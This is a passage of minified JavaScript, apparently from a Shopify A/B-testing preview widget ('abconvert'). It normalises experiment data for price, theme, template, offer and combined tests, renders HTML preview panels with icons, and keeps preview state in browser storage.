style="font-size: 12px; color: #303030; word-break: break-all;">\n          ${t}${n.isControl?' <span style="font-size: 10px; color: #8c9196; background: #f1f2f3; padding: 1px 5px; border-radius: 3px; margin-left: 4px;">Control</span>':""}\n        </div>\n        <div style="font-size: 11px; color: #6d7175; margin-top: 2px;">\n          Theme ID: ${o}\n        </div>\n      </div>\n    </div>\n  `}(a);return(0,o.q)({id:"abconvert-theme-info",title:"Theme Assignment",content:`<div class="abconvert-card">${c}</div>`,expanded:r,embedded:i})}function i(n,e){(0,o.s)(n,"abconvert-theme-info","200px",e)}},1840:(n,e,t)=>{t.d(e,{k:()=>a,l:()=>i});var o=t(6868),r=t(4788);function i(n){let{groups:e,currentGroupIndex:t,expanded:i=!1,embedded:a=!1}=n;if(!e||0===e.length)return"";const c=e[t]||e[0],s=c.template||c.variation?.template||{},d=s.type||"unknown",l=s.suffix||"Default";let u="#";if(s.previewUrl){const n=new URL((0,r.hM)(s.previewUrl));n.searchParams.delete("view"),n.searchParams.delete("_abr"),u=n.toString()}const p=`\n    <div class="abconvert-card">\n      <a href="${u}" class="abconvert-product-item">\n        <div class="abconvert-product-info">\n          <div class="abconvert-product-title">${l}</div>\n          <div class="abconvert-product-variants" style="text-transform: capitalize;">${d}</div>\n        </div>\n        <span class="abconvert-product-arrow">→</span>\n      </a>\n    </div>\n  `;return(0,o.q)({id:"abconvert-template-variation",title:"Template Variation",content:p,expanded:i,embedded:a})}function a(n,e){(0,o.s)(n,"abconvert-template-variation","200px",e)}},1951:(n,e,t)=>{t.d(e,{iX:()=>c,q2:()=>a});var o=t(2639);const r='<svg viewBox="0 0 12 12" width="12" height="12" fill="none" aria-hidden="true"><path d="M3 4.5 6 7.5l3-3" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>';function i(n){return`abconvert-combined-mod-${n}`}function a(n){let{type:e,label:t,summary:a,contentHtml:c,expanded:s=!1}=n;const d=i(e),l=s?"expanded":"",u=a?`<span class="abconvert-combined-mod-summary">${(0,o.Z)(a)}</span>`:"";return`\n    <div class="abconvert-combined-mod">\n      <button id="${d}-toggle" class="abconvert-combined-mod-head" type="button">\n        <span class="abconvert-combined-mod-label">${(0,o.Z)(t)}</span>\n        <span class="abconvert-combined-mod-meta">\n          ${u}\n          <span id="${d}-arrow" class="abconvert-combined-mod-arrow ${l}">${r}</span>\n        </span>\n      </button>\n      <div id="${d}-content" class="abconvert-combined-mod-content ${l}">\n        ${c}\n      </div>\n    </div>\n  `}function c(n,e,t){const o=i(e),r=n.querySelector(`#${o}-toggle`),a=n.querySelector(`#${o}-content`),c=n.querySelector(`#${o}-arrow`);if(!r||!a)return;const s=n=>{a.style.maxHeight=n?"none":"0",c&&c.classList.toggle("expanded",n)};s(a.classList.contains("expanded")),r.addEventListener("click",(()=>{const n=a.classList.toggle("expanded");s(n),t&&t(`${o}:expanded`,n)}))}},2228:(n,e,t)=>{t.d(e,{A:()=>r});var o=t(5998);
920const r={displayName:"Offer Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((t=>{"Preview"===t.status&&(e[t.experimentId]={id:t.experimentId,name:t.name||"Offer Test",experimentId:t.numericId||t.experimentId,version:n.version||"v1",status:t.status,startTime:t.startTime,trafficAllocationPercent:t.trafficAllocationPercent,audienceTargeting:t.audienceTargeting,forceAssignRules:t.forceAssignRules,groups:(t.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,offer:n.offer||{title:"",parts:[]}}))),_original:t})})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.R)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-offer-config"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.g)(n,t)},onGroupSwitch:function(n){try{const e=`abconvert.offer-msg.dismissed.${n.id}.`,t=[];for(let n=0;n<sessionStorage.length;n++){const o=sessionStorage.key(n);o&&o.startsWith(e)&&t.push(o)}t.forEach((n=>sessionStorage.removeItem(n)))}catch{}}}},2639:(n,e,t)=>{function o(n){return String(n??"").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")}t.d(e,{Z:()=>o})},3835:(n,e,t)=>{t.d(e,{A:()=>o});const o={displayName:"Combined Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("preview"!==n.status)return;const t=n.id;t&&(e[t]={id:t,name:n.name||"Combined test",experimentId:n.experimentId??t,status:"Preview",startTime:n.startedAt,trafficAllocationPercent:n.traffic?.allocationPercent,audienceTargeting:n.traffic?.audience,forceAssignRules:n.traffic?.forceAssign,groups:(n.groups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,modifications:n.modifications||[]}))),_original:n})})),e}}},4366:(n,e,t)=>{function o(n){return Array.isArray(n?.availableMarkets)?n.availableMarkets:r(n)}function r(n){const e=new Set,t=n?.products||[];for(const n of t)for(const t of n.variants||[])if(t.testGroups)for(const n of t.testGroups)n?.countryMap&&Object.keys(n.countryMap).forEach((n=>e.add(n)));return Array.from(e).sort()}function i(n){let{availableMarkets:e,currentMarket:t,shopPrimaryCountry:o,marketNames:r,pricedCountries:i}=n;if(!e||0===e.length)return"";const a=!!o&&e.includes(o),c=t||(a?o:null),s=e.map((n=>`<option value="${n}" ${n===c?"selected":""}>${r?.[n]||n}</option>`)).join(""),d=a?"":`<option value="">${o?`Default (${o})`:"Default (Shop Currency)"}</option>`,l=(window.Shopify?.country||"").toUpperCase(),u=c&&l&&l!==c,p=Array.isArray(i)&&i.includes(l);let v="";return u&&p?v=`<div class="abconvert-market-mismatch-note" style="margin-top:6px;font-size:12px;color:#616161;">\n        Showing ${l} prices (this page's country).\n      </div>`:u&&(v=`<div class="abconvert-market-mismatch-note" style="margin-top:6px;font-size:12px;color:#996a13;">\n        This page is shown for ${l}, so prices follow ${l}.\n        Open a product below, or switch the preview's country bar, to see ${r?.[c]||c} prices.\n      </div>`),`\n    <div class="abconvert-section">\n      <label class="abconvert-section-label">Preview Market</label>\n      <select id="abconvert-market-selector" class="abconvert-select">\n        ${d}\n        ${s}\n      </select>\n      ${v}\n    </div>\n  `}function a(n,e){const t=n.querySelector("#abconvert-market-selector");t&&t.addEventListener("change",(function(){const n=this.value||null;e&&e(n)}))}t.d(e,{BP:()=>a,P7:()=>r,SP:()=>o,sz:()=>i})},4788:(n,e,t)=>{t.d(e,{DZ:()=>l,IL:()=>c,K7:()=>$,P3:()=>f,Ys:()=>v,a4:()=>g,e1:()=>p,gp:()=>u,hM:()=>m,nI:()=>b,tj:()=>s,uH:()=>h,xX:()=>d});const o={PREVIEW_MODE:"abconvert.preview",PREVIEW_EXPERIMENT_ID:"abconvert_preview_experiment_id",PREVIEW_GROUP_PREFIX:"abconvert.experiment.",PREVIEW_GROUP_SUFFIX:".group",PREVIEW_MARKET:"abconvert-country",EXPANDED_SECTIONS:"abconvert.widget.expanded"};function r(n){try{return window.sessionStorage?.getItem(n)??null}catch(n){return null}}function i(n,e){try{window.sessionStorage?.setItem(n,e)}catch(n){}}function a(n){try{return window.localStorage?.getItem(n)??null}catch(n){return null}}function c(){return"true"===r(o.PREVIEW_MODE)}function s(){return r(o.PREVIEW_EXPERIMENT_ID)}function d(n){i(o.PREVIEW_EXPERIMENT_ID,n)}function l(n){const e=r(o.PREVIEW_GROUP_PREFIX+n+o.PREVIEW_GROUP_SUFFIX);return null!==e?parseInt(e,10):null}function u(n,e){i(o.PREVIEW_GROUP_PREFIX+n+o.PREVIEW_GROUP_SUFFIX,e.toString())}function p(){return r(o.PREVIEW_MARKET)||a(o.PREVIEW_MARKET)}function v(n){n?(i(o.PREVIEW_MARKET,n),function(n,e){try{window.localStorage?.setItem(n,e)}catch(n){}}(o.PREVIEW_MARKET,n)):(function(n){try{window.sessionStorage?.removeItem(n)}catch(n){}}(o.PREVIEW_MARKET),function(n){try{window.localStorage?.removeItem(n)}catch(n){}}(o.PREVIEW_MARKET))}function f(n){return new URLSearchParams(window.location.search).get(n)}function b(n){const e=new URL(window.location.href);e.searchParams.delete(n),window.history.replaceState({},"",e.toString())}function g(n){const e=new URL(window.location.href);
920Object.entries(n).forEach((n=>{let[t,o]=n;null!=o?e.searchParams.set(t,o):e.searchParams.delete(t)})),window.location.href=e.toString()}function m(n){const e=new URL(window.location.href),t=new URL(n,window.location.origin),i=e.searchParams.get("country")||r(o.PREVIEW_MARKET)||a(o.PREVIEW_MARKET);return i&&t.searchParams.set("country",i),t.toString()}function h(){const n=r(o.EXPANDED_SECTIONS);return new Set(n?JSON.parse(n):[])}function $(n){i(o.EXPANDED_SECTIONS,JSON.stringify([...n]))}},5001:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(1719);function r(n){n.searchParams.delete("_abr"),n.searchParams.delete("preview_theme_id"),n.searchParams.delete("pb")}const i={displayName:"Theme Test",normalize:function(n){if(!n||"Preview"!==n.status)return{};const e=n.experimentId;if(!e)return{};const t=n.testGroups||[];return{[e]:{id:e,name:"Theme Test",experimentId:n.numericId||e,version:n.version||"legacy",status:n.status,startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:t.map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,theme:n.variation?.theme||n.theme}))),_original:n}}},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.c)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-theme-info"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.N)(n,t)},onGroupSwitch:function(){const n=new URL(window.location.href);return r(n),window.location.replace(n.toString()),!0},stripGroupSwitchParams:r}},5233:(n,e,t)=>{t.d(e,{A:()=>a});var o=t(4788),r=t(8711),i=t(4366);const a={displayName:"Price Test",normalize:function(n){const e=n?.experiments||{},t={};return Object.entries(e).forEach((n=>{let[e,o]=n;"Preview"===o.status&&(t[e]={...o,id:e,name:o.name||"Price Test",experimentId:o.experimentId||e,version:o.version||"v3",status:o.status,groups:o.groups||[],products:o.products||[],shopPrimaryCountry:o.shopPrimaryCountry||null})})),t},resolveState:function(n){return{selectedMarket:(0,o.e1)(),availableMarkets:(0,i.SP)(n)}},renderPanel:function(n,e){const{experimentData:t,experimentId:o,currentGroupIndex:a,selectedMarket:c,availableMarkets:s}=n,d=t.products,l=t.shopPrimaryCountry;return(0,i.sz)({availableMarkets:s,currentMarket:c,shopPrimaryCountry:l,marketNames:t.marketNames,pricedCountries:(0,i.P7)(t)})+(0,r.K)({products:d,experimentId:o,groupIndex:a,selectedMarket:c,shop:{currency:t.shopCurrency,primaryCountry:l,countryCurrencies:t.countryCurrencies},expanded:e.has("abconvert-products"),embedded:n.embedded})},initPanelEvents:function(n,e,t){const a=e.experimentData?.shopPrimaryCountry||"US";(0,i.BP)(n,(n=>{(0,o.Ys)(n||null),(0,o.a4)({country:n||a})})),(0,r.j)(n,t)}}},5246:(n,e,t)=>{t.d(e,{H5:()=>h,JB:()=>f,Mo:()=>g,Mq:()=>k,WU:()=>m,uh:()=>$});var o=t(947),r=t(1951),i=t(5233),a=t(8368),c=t(7626),s=t(6020),d=t(5848),l=t(5001),u=t(1338),p=t(2228),v=t(3835);const f={PRICE:"price",CONTENT:"content",URL_REDIRECT:"urlRedirect",TEMPLATE:"template",THEME:"theme",SHIPPING:"shipping",PAYMENT:"payment",DELIVERY:"delivery",CHECKOUT_UI:"checkoutUI",CHECKOUT_TEST:"checkoutTest",VISUAL_EDITOR:"visualEditor",OFFER:"offer",COMBINED:"combined"},b={[f.PRICE]:i.A,[f.SHIPPING]:a.A,[f.URL_REDIRECT]:c.A,[f.VISUAL_EDITOR]:s.A,[f.TEMPLATE]:d.A,[f.THEME]:l.A,[f.CHECKOUT_TEST]:u.A,[f.OFFER]:p.A,[f.COMBINED]:v.A};function g(){const n=(0,o.G)(),e={},t=b[f.COMBINED],r=t?.normalize?t.normalize(n[f.COMBINED]):{},i=new Set(Object.keys(r));for(const[n,t]of Object.entries(r))e[n]={...t,testType:f.COMBINED,modificationEntries:{}};for(const[t,o]of Object.entries(n)){if(t===f.COMBINED)continue;const n=b[t];if(n?.normalize)for(const[r,a]of Object.entries(n.normalize(o))){const n=i.has(r)?e[r]:null;n?n.modificationEntries[t]={...a,testType:t}:null==(a.combinedExperimentId??a._original?.combinedExperimentId)&&(e[r]={...a,testType:t})}}return e}function m(n,e){const t=b[n];return t?.resolveState?t.resolveState(e):{}}function h(n,e,t){if(n===f.COMBINED)return function(n,e){const{experimentData:t,currentGroupIndex:o}=n,i=t.modificationEntries||{};return x(t,o).map((n=>{const t=y[n.type],a=i[t],c=a?h(t,w(t,a,o),e):'<div class="abconvert-combined-mod-empty">No detail available.</div>',s=`abconvert-combined-mod-${t}:expanded`;return(0,r.q2)({type:t,label:E(t),summary:n.summary,contentHtml:c,expanded:e.has(s)})})).join("")}(e,t);const o=b[n];return o?.renderPanel?o.renderPanel(e,t):""}function $(n,e,t,o){if(n===f.COMBINED)return void function(n,e,t){const{experimentData:o,currentGroupIndex:i}=e,a=o.modificationEntries||{};for(const e of x(o,i)){const o=y[e.type];(0,r.iX)(n,o,t);const c=a[o];c&&$(o,n,w(o,c,i),t)}}(e,t,o);const i=b[n];i?.initPanelEvents&&i.initPanelEvents(e,t,o)}function x(n,e){const t=n?.groups||[];return(t[e]??t[0])?.modifications||[]}function w(n,e,t){return{testType:n,experimentData:e,experimentId:e.id,currentGroupIndex:t,embedded:!0,...m(n,e)}}const y={"price-cart-transform-test":f.PRICE,"shipping-test":f.SHIPPING,"offer-test":f.OFFER,"url-redirect-test":f.URL_REDIRECT,"template-test":f.TEMPLATE,"theme-test":f.THEME,"visual-editor-content-test":f.VISUAL_EDITOR,"checkout-test":f.CHECKOUT_TEST};function k(n,e,t){if(n===f.COMBINED)return function(n,e){const t=new URL(window.location.href);let o=!1;for(const r of function(n){const e=new Set;for(const t of n?.groups||[])for(const n of t.modifications||[])n?.type&&e.add(n.type);return[...e]}(n)){const i=b[y[r]];i&&(i.stripGroupSwitchParams?(i.stripGroupSwitchParams(t),o=!0):i.onGroupSwitch&&i.onGroupSwitch(n,e))}return!!o&&(window.location.replace(t.toString()),!0)}(e,t);const o=b[n];return!!o?.onGroupSwitch&&!0===o.onGroupSwitch(e,t)}function E(n){const e=b[n];return e?.displayName||"A/B Test"}},5848:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(1840);function r(n){n.searchParams.delete("view"),n.searchParams.delete("_abr")}
920const i={displayName:"Template Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("Preview"!==n.status)return;const t=n.experimentId;e[t]={id:t,name:n.name||"Template Test",experimentId:n.numericId||t,version:n.version||"v1",status:n.status||"Active",startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:(n.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,template:n.template||n.variation?.template||{}}))),_original:n}})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.l)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-template-variation"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.k)(n,t)},onGroupSwitch:function(n,e){const t=new URL(window.location.href);return r(t),window.location.href=t.toString(),!0},stripGroupSwitchParams:r}},5998:(n,e,t)=>{t.d(e,{R:()=>m,g:()=>h});var o=t(6868),r=t(2639);const i=3,a={"amount-off-products":"Amount off products","amount-off-order":"Amount off order","shipping-discount":"Shipping discount","volume-discount":"Volume discount","threshold-discount":"Threshold discount"},c={product:'<svg viewBox="0 0 20 20" width="16" height="16" fill="none" aria-hidden="true"><path d="M10 2.5l6.5 3.25v7L10 16l-6.5-3.25v-7L10 2.5z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/><path d="M3.5 5.75L10 9l6.5-3.25M10 9v7" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>',collection:'<svg viewBox="0 0 20 20" width="16" height="16" fill="none" aria-hidden="true"><rect x="3" y="3" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/><rect x="11" y="3" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/><rect x="3" y="11" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/><rect x="11" y="11" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/></svg>',shipping:'<svg viewBox="0 0 20 20" width="16" height="16" fill="none" aria-hidden="true"><path d="M2 10h11l-2-3M2 10l2 3M16 10v4a1 1 0 0 1-1 1h-1m-9 0h6m3 0a2 2 0 1 1-4 0 2 2 0 0 1 4 0z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>'};function s(n){return n?"percentage"===n.type?`${n.amount}%`:`$${n.amount}`:""}function d(n){const e=function(n){switch(n.type){case"amount-off-products":case"amount-off-order":return`${s(n.value)} off`;case"shipping-discount":return"percentage"===n.value?.type&&n.value.amount>=100?"Free shipping":`${s(n.value)} off`;case"volume-discount":case"threshold-discount":{const e=(n.tiers||[]).filter((n=>n.threshold>0&&n.value?.amount>0));if(0===e.length)return"volume-discount"===n.type?"Volume discount — no tiers set":"Threshold discount — no tiers set";const t=function(n){const e=n.filter((n=>"percentage"===n.value?.type)),t=n.filter((n=>"fixedAmount"===n.value?.type)),o=e.length>=t.length?e:t;return o.reduce(((n,e)=>e.value.amount>n.amount?e.value:n),o[0]?.value??n[0].value)}(e),o=1===e.length?"tier":"tiers";return`Up to ${s(t)} off (${e.length} ${o})`}default:return n.type||""}}(n);return[e,...v(n)].join(" · ")}function l(n,e){return null==e?`${n}+ items`:e===n+1?1===n?"1 item":`${n} items`:`${n}–${e-1} items`}function u(n,e){if(null==e)return`$${p(n)}+`;const t=Number.isInteger(n)&&Number.isInteger(e)?e-1:Math.round(100*(e-.01))/100;return`$${p(n)}–$${p(t)}`}function p(n){return Number.isInteger(n)?String(n):n.toFixed(2)}function v(n){const e=[];("amount-off-products"===n.type||"amount-off-order"===n.type||"shipping-discount"===n.type)&&"percentage"===n.value?.type&&n.value.maxDiscountAmount>0&&e.push(`Max $${n.value.maxDiscountAmount} cap`);const t=n.condition;
920return t&&"none"!==t.type&&("min-subtotal"===t.type?e.push(`Min order $${t.amount}`):"min-quantity"===t.type&&e.push(`Min ${t.quantity} item${1===t.quantity?"":"s"}`)),e}function f(n,e){return`${n} ${e}${1===n?"":"s"}`}function b(n){if(!n)return'<span class="abconvert-offer-type abconvert-offer-type-empty">No offer</span>';const e=a[n.type]||n.type;return`<span class="abconvert-offer-type">${(0,r.Z)(e)}</span>`}function g(n,e){const t=n?.parts||[];if(0===t.length)return function(n){const e=n?"No offer (normal price)":"No offer configured";return`\n    <div class="abconvert-offer-card">\n      <div class="abconvert-offer-head">\n        <div class="abconvert-offer-primary-row">\n          <div class="abconvert-offer-primary">${(0,r.Z)(e)}</div>\n          ${b(null)}\n        </div>\n      </div>\n    </div>\n  `}(e);const o=t.length>1,a=t.map(d).join(" + "),p=t[0],g=o?null:function(n){if("amount-off-products"===n.type||"volume-discount"===n.type){const e=n.scope;if(!e||"all-products"===e.type)return null;if("specific-products"===e.type){const n=(e.products||[]).map((n=>n.title));return 0===n.length?null:{icon:c.product,label:f(n.length,"product"),names:n}}if("specific-collections"===e.type){const n=(e.collections||[]).map((n=>n.title));return 0===n.length?null:{icon:c.collection,label:f(n.length,"collection"),names:n}}}if("shipping-discount"===n.type){const e=n.scope;if(!e||"all-rates"===e.type)return null;if("specific-rates"===e.type){const n=e.rateNames||[];return 0===n.length?null:{icon:c.shipping,label:f(n.length,"rate"),names:n}}}return null}(p),m=n.title?.trim()||"",h=m||a,$=o?"":function(n){if("volume-discount"!==n.type&&"threshold-discount"!==n.type)return"";const e=(n.tiers||[]).filter((n=>n.threshold>0&&n.value?.amount>0));if(0===e.length)return"";const t="volume-discount"===n.type,o=t?"Qty":"Spend",i=t?l:u,a=[...e].sort(((n,e)=>n.threshold-e.threshold)),c=a.map(((n,e)=>{const t=a[e+1];return`\n    <div class="abconvert-offer-tier-row">
920\n      <span class="abconvert-offer-tier-qty">${(0,r.Z)(i(n.threshold,t?.threshold))}</span>\n      <span class="abconvert-offer-tier-discount">${(0,r.Z)(`${s(n.value)} off`)}</span>\n    </div>\n  `})).join("");return`\n    <div class="abconvert-offer-tier-table">\n      <div class="abconvert-offer-tier-header">\n        <span class="abconvert-offer-tier-header-label">${(0,r.Z)(o)}</span>\n        <span class="abconvert-offer-tier-header-label">Discount</span>\n      </div>\n      ${c}\n    </div>\n  `}(p),x=$?v(p).join(" · "):a,w=m&&x?`<div class="abconvert-offer-secondary">${(0,r.Z)(x)}</div>`:"";return`\n    <div class="abconvert-offer-card">\n      <div class="abconvert-offer-head">\n        <div class="abconvert-offer-primary-row">\n          <div class="abconvert-offer-primary">${(0,r.Z)(h)}</div>\n          ${b(p)}\n        </div>\n        ${w}\n      </div>\n      ${$}\n      ${function(n){if(!n)return"";const e=n.names.slice(0,i),t=n.names.slice(i),o=t.length,a=t.join(", "),c=o>0?`<span class="abconvert-offer-overflow" data-tooltip="${(0,r.Z)(a)}" aria-label="${(0,r.Z)(a)}">+${o} more</span>`:"";return`\n    <div class="abconvert-offer-scope">
920\n      <span class="abconvert-offer-scope-icon">${n.icon}</span>\n      <div class="abconvert-offer-scope-body">\n        <div class="abconvert-offer-scope-count">${(0,r.Z)(n.label)}</div>\n        <div class="abconvert-offer-scope-names">\n          <span>${(0,r.Z)(e.join(", "))}</span>\n          ${c}\n        </div>\n      </div>\n    </div>\n  `}(g)}\n    </div>\n  `}function m(n){let{groups:e,currentGroupIndex:t,expanded:r=!1,embedded:i=!1}=n;if(!e||0===e.length)return"";const a=e[t]??e[0];return a?(0,o.q)({id:"abconvert-offer-config",title:"Offer Config",content:g(a.offer,a.isControl),expanded:r,embedded:i}):""}function h(n,e){(0,o.s)(n,"abconvert-offer-config","320px",e)}},6020:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(9885);let r=null;const i={displayName:"Visual Editor Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("Preview"!==n.status)return;const t=n.experimentId;e[t]={id:t,name:n.name||"Visual Editor Test",experimentId:n.numericId||t,status:n.status||"Active",startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:n.testGroups||[],_original:n}})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:i}=n,a=t.groups||[];return(0,o.k)({groups:a,groupIndex:i,expanded:e.has("abconvert-visual-editor-pages"),activeTab:r,embedded:n.embedded})},initPanelEvents:function(n,e,t){const{experimentData:i,currentGroupIndex:a}=e,c=i.groups||[];(0,o.H)(n,t,(n=>{r=n}),{groups:c,groupIndex:a})}}},6538:(n,e,t)=>{t.d(e,{MY:()=>C,RW:()=>E,gv:()=>i});var o=t(6868),r=t(2639);const i="abconvert-checkout-config",a=["delivery","payment","content","cart","upsell"],c={delivery:"Delivery",payment:"Payment",content:"Content blocks",cart:"Cart",upsell:"Upsell"},s={heading:"content",banner:"content","trust-badge":"content",button:"content",benefit:"content",image:"content","payment-icon":"content","upsell-product-tile":"upsell","cart-control":"cart"},d={heading:"Heading",banner:"Banner","trust-badge":"Trust badge",button:"Button",benefit:"Benefit list",image:"Image","payment-icon":"Payment icons","upsell-product-tile":"Product offer","cart-control":"Cart control"},l={hide:"Hide",rename:"Rename",reorder:"Reorder"},u={heading:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M3 3v10M9 3v10M3 8h6" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/><path d="M11 6.5l1.5-1V13" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"/></svg>',banner:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2.5" y="4.5" width="11" height="7" rx="1.5" stroke="currentColor" stroke-width="1.3"/><circle cx="5.5" cy="8" r="0.9" fill="currentColor"/><path d="M7.5 8h3.5" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/></svg>',"trust-badge":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M8 2.2 13 4v4.2c0 2.6-2 4.7-5 5.6-3-.9-5-3-5-5.6V4l5-1.8Z" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/><path d="m6 8 1.5 1.5L10 7" stroke="currentColor" stroke-width="1.3" stroke-linecap="round" stroke-linejoin="round"/></svg>',button:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2" y="6" width="12" height="4" rx="2" stroke="currentColor" stroke-width="1.3"/><circle cx="11.5" cy="8" r="0.9" fill="currentColor"/></svg>',benefit:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M3 4.5h10M3 8h10M3 11.5h6.5" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/><circle cx="3" cy="4.5" r="0.6" fill="currentColor"/><circle cx="3" cy="8" r="0.6" fill="currentColor"/><circle cx="3" cy="11.5" r="0.6" fill="currentColor"/></svg>',image:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2.5" y="3" width="11" height="10" rx="1.5" stroke="currentColor" stroke-width="1.3"/><circle cx="6" cy="6.5" r="1.1" stroke="currentColor" stroke-width="1.2"/><path d="m3 12 3.2-3.5 2.3 2L11 7l2 2.4" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/></svg>',"payment-icon":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2" y="4.5" width="12" height="7.5" rx="1.3" stroke="currentColor" stroke-width="1.3"/><path d="M2 7h12" stroke="currentColor" stroke-width="1.3"/><path d="M4.5 9.5h2" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/></svg>',"upsell-product-tile":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="m4 12 4-7 4 7" stroke="currentColor" stroke-width="1.4" stroke-linejoin="round" stroke-linecap="round"/>
920<path d="M5 8.5h6" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/></svg>',"cart-control":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M2.5 4.5h2l1.4 6.4a1.2 1.2 0 0 0 1.2 1h4.6a1.2 1.2 0 0 0 1.2-1l.9-4.4H5" stroke="currentColor" stroke-width="1.3" stroke-linecap="round" stroke-linejoin="round"/><circle cx="6.5" cy="13.5" r="0.9" fill="currentColor"/><circle cx="11" cy="13.5" r="0.9" fill="currentColor"/></svg>',hide:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M2.5 8s2-4 5.5-4 5.5 4 5.5 4-2 4-5.5 4-5.5-4-5.5-4Z" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/><circle cx="8" cy="8" r="1.6" stroke="currentColor" stroke-width="1.3"/><path d="m3 3 10 10" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/></svg>',rename:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M2.5 13.5h11" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/><path d="m3 11 7.5-7.5a1.5 1.5 0 0 1 2.1 0l.4.4a1.5 1.5 0 0 1 0 2.1L5.5 13.5H3V11Z" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/></svg>
920',reorder:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M3 4h7M3 8h7M3 12h7" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/><path d="m12.5 5 1 1.5L12 8M13.5 11l-1 1.5L11 11" stroke="currentColor" stroke-width="1.3" stroke-linecap="round" stroke-linejoin="round"/></svg>',arrow:'<svg viewBox="0 0 12 12" width="10" height="10" fill="none" aria-hidden="true"><path d="m4 2 4 4-4 4" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"/></svg>',check:'<svg viewBox="0 0 12 12" width="10" height="10" fill="none" aria-hidden="true"><path d="m3 6.5 2 2 4-4.5" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/></svg>'},p=new Set;function v(n){return`<span class="abconvert-checkout-meta">${(0,r.Z)(n)}</span>`}function f(n){return`<span class="abconvert-checkout-method-chip">${(0,r.Z)(n)}</span>`}function b(n,e){return`<span class="abconvert-checkout-flag ${e?"abconvert-checkout-flag-on":"abconvert-checkout-flag-off"}">${e?u.check:""}${(0,r.Z)(n)}</span>`}function g(n){const e=n[0];return e?n.length>1?`"${e.text}" + ${n.length-1} more`:e.url?`"${e.text}" → ${e.url}`:`"${e.text}"`:"(no buttons)"}function m(n){const e=[];return n.showQuantitySelector&&e.push("qty"),n.showVariantSelector&&e.push("variant"),e.length?` · ${e.join(" + ")}`:""}function h(n){if(!n)return"";const e=String(n).split("?")[0];return e.split("/").filter(Boolean).pop()||e}function $(n){return n?String(n).charAt(0).toUpperCase()+String(n).slice(1):""}const x={hide:{head:n=>{const e=(n.methods||[]).length;return v(`${e} ${1===e?"method":"methods"}`)},body:n=>{const e=n.methods||[];return 0===e.length?"":`<div class="abconvert-checkout-chip-row">${e.map(f).join("")}</div>`}},rename:{head:n=>{const e=n.renameRules||[];return 1===e.length?v(`${e[0].fromMatcher} "${e[0].from}"`):v(`${e.length} rules`)},body:n=>{const e=n.renameRules||[];return 